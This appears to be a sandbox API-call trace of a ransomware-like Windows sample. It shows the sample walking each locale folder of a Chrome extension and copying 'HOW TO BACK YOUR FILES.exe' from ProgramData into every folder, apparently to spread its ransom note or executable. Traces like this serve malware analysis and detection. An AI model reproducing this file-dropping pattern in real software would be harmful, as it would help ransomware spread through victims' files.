	[0048.839] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x352e83b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x352e83b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.840] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.840] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.840] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR"
	[0048.840] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR"
	[0048.840] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.840] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.845] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.845] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x352e83b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x352e83b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.845] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.845] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.845] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl"
	[0048.845] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl"
	[0048.845] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.845] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.849] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.849] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3530e510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3530e510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.849] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.849] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.850] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no"
	[0048.850] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no"
	[0048.850] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.850] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.855] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3530e510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3530e510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.855] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.855] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.855] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl"
	[0048.855] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl"
	[0048.855] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.855] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.859] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.859] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3530e510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3530e510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.859] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.859] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.859] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms"
	[0048.859] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms"
	[0048.859] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.859] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.864] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.864] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35334670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35334670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.864] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.864] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.864] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv"
	[0048.864] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv"
	[0048.864] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.864] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.868] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.868] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35334670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35334670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.868] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.868] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.868] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt"
	[0048.868] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt"
	[0048.868] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.868] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.873] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.873] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35334670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35334670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.873] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.873] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.873] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko"
	[0048.873] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko"
	[0048.873] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.873] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.885] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.885] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35334670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35334670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.885] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.885] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.886] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja"
	[0048.886] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja"
	[0048.886] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
